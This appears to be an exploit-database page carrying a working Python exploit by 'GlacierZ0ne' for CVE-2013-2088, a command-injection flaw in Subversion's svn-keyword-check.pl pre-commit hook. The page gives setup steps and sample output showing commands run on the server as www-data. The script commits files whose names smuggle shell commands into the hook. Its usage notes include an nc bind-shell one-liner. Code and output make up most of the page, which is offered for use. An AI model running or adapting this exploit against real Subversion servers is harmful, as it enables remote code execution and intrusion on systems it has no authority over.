Subversion 1.6.6 / 1.6.12 - Code Execution

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Subversion 1.6.6 / 1.6.12 - Code Execution

来源：kai@ktechnologies.de 作者：GlacierZ0ne 发布时间：2016-10-13

# This is an exploit for the subversion vulnerability published as CVE-2013-2088.

# Author: GlacierZ0ne (kai@ktechnologies.de)
# Exploit Type: Code Execution
# Access Type: Authenticated Remote Exploit
# Prerequisites: svn command line client available,
#               subversion server exposes webdav through apache,
#               user/password with commit privilege

# The exploit has been tested with the following software:

# * subversion 1.6.6 server on Ubuntu 10.06 server 64-bit
# * subversion 1.6.12 (r955767) on Ubuntu 11.10 server 32-bit
# * subversion client version 1.8.8 (r1568071) on Ubuntu 14.04 64-bit

# The following conditions need to be met in order for this to work:

# The pre-commit script svn-keyword-check.pl needs to be configured as
# pre-commit hook. The version shipped with the subversion 1.6.6 contains
# a bug which prevents it from being used at all. This bug must be fixed
# (otherwise neither the exploit, nor the intented purpose of the script
# will work)
# This perl script can be downloaded from the archive source distribution
# at http://archive.apache.org/dist/subversion/. Scripts before 1.6.23
# are vulnerable.

# ###############################################################

# 1. configure the pre-commit hook to use svn-keyword-check.pl

# ###############################################################
# Copy the svn-keyword-check.pl from the source distribution to the
# /svn/repos/<your repository>/hooks directory. Rename pre-commit.tmpl
# to pre-commit. Make sure both files are owned by the user running
# apache (e.g. www-data) and have the executable flag set:
#
# notroot@ubuntu:/$ cd /svn/repositories/testrepo/hooks
# notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo mv pre-commit.tmpl pre-commit
# notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo chmod +x pre-commit
# notroot@ubuntu:/svn/repos/testrepo/hooks$ ls -al
# total 76
# drwxr-xr-x 2 www-data www-data 4096 2016-09-30 13:35 .
# drwxr-xr-x 7 www-data www-data 4096 2016-09-05 16:28 ..
# -rw-r--r-- 1 www-data www-data 2000 2016-09-05 15:23 post-commit.tmpl
# -rw-r--r-- 1 www-data www-data 1663 2016-09-05 15:23 post-lock.tmpl
# -rw-r--r-- 1 www-data www-data 2322 2016-09-05 15:23 post-revprop-change.tmpl
# -rw-r--r-- 1 www-data www-data 1592 2016-09-05 15:23 post-unlock.tmpl
# -rwxr-xr-x 1 www-data www-data 604 2016-09-30 13:32 pre-commit
# -rw-r--r-- 1 www-data www-data 609 2016-09-05 19:10 pre-commit.tmpl
# -rw-r--r-- 1 www-data www-data 2410 2016-09-05 15:23 pre-lock.tmpl
# -rw-r--r-- 1 www-data www-data 2796 2016-09-05 15:23 pre-revprop-change.tmpl
# -rw-r--r-- 1 www-data www-data 2100 2016-09-05 15:23 pre-unlock.tmpl
# -rw-r--r-- 1 www-data www-data 2830 2016-09-05 15:23 start-commit.tmpl
# -rwxr-xr-x 1 www-data www-data 8340 2016-09-30 13:35 svn-keyword-check.pl
# notroot@ubuntu:/svn/repos/testrepo/hooks$

# According to the subversion documentation, svn-keyword-check.pl needs
# to be called by pre-commit. svn-keyword-check.pl will return 1 if it
# detects something that should prevent the commit. In that case, the
# subversion server will cancel the commit. Here's how pre-commit looked
# on my test server:

# notroot@ubuntu:/svn/repos/testrepo/hooks$ cat pre-commit
# #!/bin/sh

# REPOS="$1"
# TXN="$2"

# # Make sure that the log message contains some text.
# #jSVNLOOK=/usr/bin/svnlook
# $SVNLOOK log -t "$TXN" "$REPOS" | \
# ep "[a-zA-Z0-9]" > /dev/null || exit 1
#
# # Exit on all errors.
# set -e
#
# # Check the files that are are listed in "svnlook changed" (except deleted
# # files) for possible problems with svn:keywords set on binary files.
# "$REPOS"/hooks/svn-keyword-check.pl --repos $REPOS --transaction $TXN
# #
# #
# #
#
# # All checks passed, so allow the commit.
# exit 0
#
# ###############################################################
#
# 2. fix the bug in svn-keyword-check.pl
#
# ###############################################################
# The script pre-commit will pass on repository and transaction to
# the script svn-keyword-check.pl. Alternatively, it also accepts
# repository and revision. However, specifying both transaction
# and revision is illegal, only one of them is considered legal.
# This reflects in the input parameter plausibility check
#   performed in line 89:
#
# if (defined($transaction) and !defined($revision)) {
#      croak "Can't define both revision and transaction!\n";
# }
#
# Unfortunately, there is an exclamation mark too much. It must
# be
#
# if (defined($transaction) and defined($revision)) {
#      croak "Can't define both revision and transaction!\n";
# }
#
# The way this script is shipped in the 1.6.6 source distribution
# no commit is possible at all.
#
# Before using the exploit you should first commit one file
# manually so that the svn client can store your user/password
# locally.
#
# Then, open a shell and navigate to the directory of your project
# and start python cve-2013-2088-1.py <command>:
#
# kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py ifconfig
# [+] Randfilename is mJHeSkya
# [+] Created random file
# [+] Submitted random file to version control
# [+] Created fake file for cmd execution
# [+] Exploit seems to work:
#
# eth0      Link encap:Ethernet HWaddr 00:0c:29:08:a3:1a
#            inet addr:192.168.26.136 Bcast:192.168.26.255 Mask:255.255.255.0
#            inet6 addr: fe80::20c:29ff:fe08:a31a/64 Scope:Link
#            UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
#            RX packets:1060 errors:0 dropped:0 overruns:0 frame:0
#            TX packets:806 errors:0 dropped:0 overruns:0 carrier:0
#            collisions:0 txqueuelen:1000
#            RX bytes:172042 (172.0 KB) TX bytes:136684 (136.6 KB)
#
# lo        Link encap:Local Loopback
#            inet addr:127.0.0.1 Mask:255.0.0.0
#            inet6 addr: ::1/128 Scope:Host
#            UP LOOPBACK RUNNING MTU:16436 Metric:1
#            RX packets:0 errors:0 dropped:0 overruns:0 frame:0
#            TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
#            collisions:0 txqueuelen:0
#            RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
#
# kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py id
# [+] Randfilename is WmolHiuv
# [+] Created random file
# [+] Submitted random file to version control
# [+] Created fake file for cmd execution
# [+] Exploit seems to work:
#
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
#
# Important things to notice

# * For each command execution the exploit will put a file under
#    version control. If you submit a lot of commands you will
#    create a lot of files with random 8 alphanumeric character
#    file names in your repository.
# * Your command must not contain a / since file names must not
#    contain a /. In the author's test environment the current
#    working directory of apache was the root folder /.
#    Therefore, the exploit will replace / in the command with
#    $(pwd). This worked fine for the author.
#    In your environment this might be different. As first thing
#    execute $(pwd) in order to check if this works for you, too.
# * The command execution assumes that your command prints something
#    to the terminal and exits. If you know your command will not
#    immediately terminate (e.g. because you're starting a reverse/
#    bind shell), provide the -d or --dont-terminate flag:
#    python svn_exploit2.py -d "/bin/bash 0</tmp/mypipe | nc -l 192.168.1.100 4444 1> /tmp/mypipe"
#
#
#
import sys
import subprocess
import argparse
import random
import os

if __name__ == "__main__":

    lowerupper = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    slash_replacement = "$(pwd)"
    cwd = os.getcwd()

    parser = argparse.ArgumentParser (usage="python {} [options] command".format (sys.argv [0]),
                        epilog="\x0a\x0a")

    parser.add_argument (dest="command", help="Command to execute")
    parser.add_argument ("-d", "--dont-terminate", help="don't force output be sent back to the client. Useful for reverse shell connections.",
                         action="store_true")

    #
    # args handling
    #
    if (len(sys.argv) <= 1):
        parser.print_help ()
        sys.exit (0)

    args = parser.parse_args ()
    if not args.command:
        parser.print_help ()
        sys.exit (0)

    #
    # / cannot be used in the command because svn will interprete it as
    # file separator. Therefore you have to use a workaround. Here,
    # $(pwd) works great for us.
    #
    command = args.command
    if command.find ("/") != -1:
        command = command.replace("/", slash_replacement)

    #
    # prepare output files for stdout, stderr
    #
    sout = open ("stdout", "w+")
    serr = open ("stderr", "w+")

    randfilename = ""
    for idx in range (0, 8):
        randfilename = randfilename + lowerupper [random.randint (0,51)]

    print ("[+] Randfilename is {}".format(randfilename))

    f = open (randfilename, "w+")
    f.write ("You've been pwned by GlacierZ0ne'") # write 4
    f.flush ()
    f.close ()

    p = subprocess.Popen (["svn", "add", "./{randfilename}".format (randfilename=randfilename)],
                          stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    c = p.communicate ()
    sout.write (c[0])
    if len(c[1]) > 0:
        print ("[-] Create random file failed:")
        print (c[1])
        sys.exit (0)
    print ("[+] Created random file")

    p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "./{randfilename}".format (randfilename=randfilename)],
                           stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    c = p.communicate ()
    sout.write (c[0])
    if len(c[1]) > 0:
        print ("[-] Submission of random file failed:")
        print (c[1])
        sys.exit (0)
    print ("[+] Submitted random file to version control")

    fakefilename = None
    if args.dont_terminate == True:
        fakefilename = "{}; {}".format (randfilename, command)
    else:
        fakefilename = "{}; {} 1>&2; exit 1".format (randfilename, command)
    f = open (fakefilename, "w+")
    f.write ("You've been pwned by GlacierZ0ne") # write 4
    f.flush ()
    f.close ()

    p = subprocess.Popen (["svn", "add", "{fakefilename}"
                          .format (cwd=cwd, fakefilename=fakefilename)],
                          stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    c = p.communicate ()
    sout.write (c[0])
    if len(c[1]) > 0:
        print ("[-] Creation of fake file failed:")
        print (c[1])
        sys.exit (0)
    print ("[+] Created fake file for cmd execution")

    p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "{fakefilename}"
                          .format (cwd=cwd, fakefilename=fakefilename)],
                          stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    c = p.communicate ()
    sout.write (c[0])
    if len(c[1]) == 0:
        if not args.dont_terminate:
            print "[-] Something went wrong, pre-commit hook didn't kick in."
        else:
            print "[!] Done"
        sys.exit (0)
    else:
        idx0= c[1].find ("Commit blocked by pre-commit hook")
        idx = c[1].find ("failed with this output")

        if idx0 != -1 and idx != -1:
            print ("[+] Exploit seems to work: ")
            print (c[1][idx + len("failed with this output") + 1:])

    sout.flush ()
    sout.close ()
    serr.flush ()
    serr.close ()

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